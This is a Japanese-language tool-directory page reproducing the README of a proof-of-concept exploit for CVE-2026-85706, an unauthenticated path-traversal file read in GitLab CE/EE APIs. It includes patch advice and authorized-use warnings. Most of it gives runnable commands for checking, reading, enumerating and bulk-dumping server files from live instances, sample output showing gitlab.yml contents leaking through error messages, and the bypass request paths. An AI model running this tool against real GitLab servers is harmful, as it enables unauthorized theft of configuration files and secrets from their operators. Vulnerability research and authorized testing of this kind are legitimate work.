Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-85706 — CVE-2026-85706(GitLab CE/EEのリポジトリコミットおよびファイルAPIにおける未認証のパストラバーサルによるファイル読み取り)の概念実証および再現ラボ。 | Kitploit
ツール/GitHubGitHub/solivaquaant/cve-2026-85706
脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出情報収集ウェブセキュリティペネトレーションテスト論文と研究ラボと実践
GitHubsolivaquaant/cve-2026-85706

CVE-2026-85706

1日前未レビュー

CVE-2026-85706(GitLab CE/EEのリポジトリコミットおよびファイルAPIにおける未認証のパストラバーサルによるファイル読み取り)の概念実証および再現ラボ。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-85706: GitLab CE/EE の未認証任意ローカルファイル読み取り

CVE-2026-85706 は、GitLab CE/EE の Repository Commits API および Repository Files API における重大なパストラバーサル / 認証欠如の問題です。未認証の攻撃者がサーバーに任意のファイルを読み取らせ、その内容をエラーチャネル経由で取得できます。CVSS 3.1 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)。

GitLab の公式タイトルは 「Path Traversal issue in repository commits API impacts GitLab CE/EE」 です。修正は 2026-09-10 に 19.3.2 / 19.2.6 / 19.1.8 で提供されました。

[!IMPORTANT] セルフマネージド GitLab <= 19.3.1 を運用していますか? 19.3.2 / 19.2.6 / 19.1.8 にアップグレードしてください。

[!WARNING] 許可された使用のみ。 このツールは、あなたが所有するシステム、またはテストを明示的に許可されたシステムに対してのみ実行してください。

このリポジトリには、独立した概念実証、最小限の再現ラボ、および完全な技術分析が含まれています:

  • ANALYSIS.md - 根本原因、悪用、再現証拠、緩和策

サードパーティシステムから取得したデータは一切含まれていません。

クイックスタート

オプション A - ローカルラボ (最速、GitLab 不要)

root@kitploit:~
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed                 # create the sandbox vault
python vulnerable_api.py --port 8080            # vulnerable build (add --patched to compare)

# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read  --url http://127.0.0.1:8080 --project 1 \
        --file /tmp/cve-2026-85706/canary.txt

ラボは 127.0.0.1 のみで待ち受け、lab/vault/ サンドボックス内のみを読み取るため、実際のマシン上のファイルに触れることはありません。

オプション B - 実際の GitLab CE 19.3.1 (信頼性の高い検証)

root@kitploit:~
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d      # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>

オプション C - 稼働中のインスタンス

root@kitploit:~
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>

自己署名証明書には --insecure を追加し、エンコードされたパスよりも数値のプロジェクト ID を推奨します (group%2Fproject ではなく --project <id>)。

サブコマンド

コマンド目的主なオプション
check対象は脆弱か? すべてのバイパスベクターの応答を比較する--canary-path, --no-bypass-probe
read1 つのファイルを読み取り、その内容が漏洩するか報告する--file <path>, --media <type>
enumパスのリストを調査し、それぞれを分類する--wordlist, --wordlist-file
dump読み取り可能なすべてのファイルを、マニフェストと生の応答とともにディスクに保存する--files, --files-file, --outdir

ベクター

check が出力するラベル:

ラベルリクエストパス
commits-trailing-slashPOST /api/v4/projects/<id>/repository/commits/
commits-json-suffixPOST /api/v4/projects/<id>/repository/commits.json
commits-canonicalPOST /api/v4/projects/<id>/repository/commits (Workhorse バッファリング、対照ケース)
files-trailing-slashPOST /api/v4/projects/<id>/repository/files/<name>/
files-canonicalPOST /api/v4/projects/<id>/repository/files/<name>

check - 対象は脆弱か?

root@kitploit:~
$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form   commits-trailing-slash   HTTP 400  VULNERABLE:existence-oracle
form   commits-json-suffix      HTTP 400  VULNERABLE:existence-oracle
form   commits-canonical        HTTP 401  NOT-VULNERABLE(auth required)
[json and query variants behave identically]

[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
    commits-trailing-slash  without 'file'  HTTP 400  {"error":"file is missing"}
    files-trailing-slash    without 'file'  HTTP 400  {"error":"file is missing"}
    commits-trailing-slash  with    'file=' HTTP 400  VULNERABLE:existence-oracle

[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
    -> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.

終了コード: 0 = 脆弱; 1 = テストしたベクターでは悪用不可 (修正済み、またはルートに到達不能)。

知っておく価値のある 2 つの詳細:

  • Workhorse bypass probe ブロックはルーティングの証明です: file は Workhorse がボディをバッファリングして署名した場合にのみ存在するため、400 {"error":"file is missing"} はバイパスルートがそのパイプラインをスキップしつつ API に到達したことを証明します。修正済みビルドでは、その最後の行は HTTP 401 と表示されます。
  • 正規パス (commits-canonical -> 401) は 対照ケース です: そこでは Workhorse が file.path を書き換えるため、攻撃者の値が脆弱なコードに到達することはありません。

read - 単一ファイルの読み取り

root@kitploit:~
$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
        --file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form   commits-trailing-slash   HTTP 400  LEAK!    content disclosed via the Rack parser error
form   commits-canonical        HTTP 401  EXISTS,  parsed without error -> authentication required

終了コード: 0 = 内容が漏洩、またはベースラインで確認された認証前読み取り; 1 = 認証前読み取りは観測されず。

enum / dump - 一括調査

root@kitploit:~
python poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
        --wordlist-file poc/paths.txt

python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
        --outdir evidence --files-file poc/paths.txt

poc/paths.txt には 45 個の興味深い GitLab/Linux パスが含まれています; --wordlist / --files はインラインまたはファイル経由で指定でき、両形式を組み合わせることもできます。実際のファイル内容に触れるのはこれら 2 つのサブコマンドのみです - 出力はこのリポジトリの外に書き込み、キャプチャした内容を公開しないでください。

グローバルオプション

オプション意味
--url <base URL>対象のベース URL (必須)
--project <id or encoded path>公開プロジェクト ID (123) または URL エンコードされたパス (group%2Fproject)、必須
--token <PRIVATE-TOKEN>任意; 認証済みパスをテストする
--insecureTLS 検証をスキップ (自己署名証明書)
-v, --verboseすべてのリクエスト/レスポンスを stderr に出力
--canary-path <path>脆弱性ベースラインとして使用される、存在が保証されないパス
--color <mode>auto (デフォルト、実際のターミナルで色付け)、always、never

オプションの順序は重要です: 共有オプションはサブコマンドの 後 に置きます - check --url ... --insecure であり、--url ... check ではありません。

検証状況

テスト結果
修正済み対照 - gitlab.com、19.3.2+すべてのベクターが 401 を返す; 唯一の他の応答はルーティングバイパスを証明する 400 {"error":"file is missing"}
ローカルラボ - lab/vulnerable_api.pyRails 側の信頼バグをエンドツーエンドで再現; --patched で比較ビルドを提供
実際のセルフマネージドインスタンス - 19.3.1、書面による許可脆弱性を確認; ホストとプロジェクトの詳細はここでは意図的に公開していません。集計結果は ANALYSIS.md, section 4.3 にあります

法的通知

この資料は セキュリティ研究および許可されたテスト - 自身のラボ、バグバウンティプログラム、または書面による許可を得たペネトレーションテスト - のために提供されています。所有している、または明示的にテストを許可されたシステムに対してのみ使用してください。サードパーティシステムへの不正アクセスは違法です。いかなる種類の保証もなく、現状のまま提供されます。

ツールをダウンロード